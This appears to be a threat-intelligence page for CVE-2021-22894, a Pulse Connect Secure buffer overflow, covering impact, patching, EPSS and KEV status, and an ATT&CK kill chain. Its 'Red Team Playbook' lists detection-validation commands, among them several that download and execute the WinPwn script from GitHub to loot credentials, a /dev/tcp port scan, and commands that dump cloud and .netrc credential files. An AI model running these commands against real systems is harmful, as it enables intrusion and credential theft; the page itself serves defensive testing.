CVE-2021-22894

HIGH CISA KEV Pub 27/05 Upd 21/10

Overview

This vulnerability is a buffer overflow caused by improper bounds checking in the handling of meeting room data within Pulse Connect Secure versions prior to 9.1R11.4. The flaw exists in the meeting room management component, where crafted input exceeding buffer limits leads to memory corruption. The root cause lies in inadequate validation of input size before copying data into fixed-length buffers, enabling overflow conditions.

Vulnerability Description

A buffer overflow vulnerability exists in Pulse Connect Secure before 9.1R11.4 allows a remote authenticated attacker to execute arbitrary code as the root user via maliciously crafted meeting room.

Impact

An attacker with valid user credentials can exploit this vulnerability to execute arbitrary code with root privileges on the affected system. This enables full system compromise, including unauthorized access to sensitive data, manipulation of system configurations, and potential lateral movement within the network. The attack requires authentication but no user interaction beyond submitting crafted meeting room data. Successful exploitation can result in complete loss of confidentiality, integrity, and availability of the Pulse Connect Secure appliance and connected resources.

Solution

Ivanti has released security advisory SA44784 addressing this vulnerability. Users should upgrade Pulse Connect Secure to version 9.1R11.4 or later to remediate the issue. Detailed patch instructions and additional mitigation guidance are available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/. Applying the recommended update is the primary remediation step; no alternative workarounds are specified in the advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A buffer overflow vulnerability has been identified in Pulse Connect Secure versions prior to 9.1R11.4, which allows an authenticated remote attacker to execute arbitrary code with root privileges. This vulnerability arises from improper handling of input data, specifically within the context of crafted meeting room configurations. When an attacker sends specially constructed data to the affected system, it can lead to memory corruption, allowing the attacker to overwrite critical areas of memory. This exploitation can result in the execution of malicious code, potentially leading to full system compromise.

The primary attack vector involves authenticated users leveraging the vulnerability to manipulate meeting room settings. Since the attacker needs to be authenticated, the risk is somewhat mitigated compared to unauthenticated exploits. However, if an attacker gains access to a legitimate user account, they can exploit this vulnerability to escalate their privileges and execute arbitrary commands as the root user. This scenario is particularly concerning in environments where user accounts may be compromised through phishing or credential theft, allowing attackers to bypass traditional security measures.

The real-world impact of this vulnerability is significant, particularly for organizations relying on Pulse Connect Secure for secure remote access. The ability to execute arbitrary code as a root user can lead to unauthorized access to sensitive data, disruption of services, and potential damage to the organization's reputation. Businesses could face regulatory penalties if sensitive information is compromised, and the financial implications of remediation efforts, including incident response and system recovery, can be substantial. Additionally, the exploitation of this vulnerability could serve as a foothold for further attacks within the organization, leading to a broader security breach.

To detect and mitigate this vulnerability, organizations should prioritize updating their Pulse Connect Secure installations to the latest version, specifically 9.1R11.4 or later, where the issue has been addressed. Regular vulnerability assessments and penetration testing can help identify potential exploitation scenarios and weaknesses in the system. Employing network segmentation and strict access controls can also limit the potential impact of an exploit. Furthermore, organizations should implement robust monitoring solutions to detect unusual activities that may indicate an attempted exploitation of this vulnerability, such as unauthorized changes to meeting room configurations or unexpected system behavior.

In conclusion, the buffer overflow vulnerability in Pulse Connect Secure represents a critical risk that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare their defenses. Proactive measures, including timely updates and comprehensive monitoring, are essential to mitigate the risks associated with this vulnerability and protect sensitive organizational assets from malicious actors.




CSURFACE threat intelligence has detected a substantial increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-22894, rising by nearly 70% to a current level that places it in the 98th percentile of exploit likelihood. This upward adjustment reflects growing confidence in the vulnerability’s exploitability, likely driven by increased attacker interest or improved exploit techniques, despite no new public exploit details being reported. The heightened EPSS score signals an elevated risk that threat actors may prioritize this vulnerability for targeted attacks, particularly given its high severity and root-level code execution potential. Consequently, defenders should recognize that the threat landscape around Pulse Connect Secure has intensified, warranting increased vigilance in monitoring and detection efforts. While ransomware use remains unconfirmed, the alignment with CISA’s directive deadlines underscores the criticality of timely remediation. Overall, this development raises the urgency of addressing CVE-2021-22894 as it now presents a more imminent exploitation threat than previously assessed.

Affected Products (40)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r1.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10.0:*:*:*:*:*:*
+20 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
100% rce
Code Injection
80% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
48%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
41%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-22894
kb.pulsesecure.net
GitHub CVE x_refsource_MISC
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22894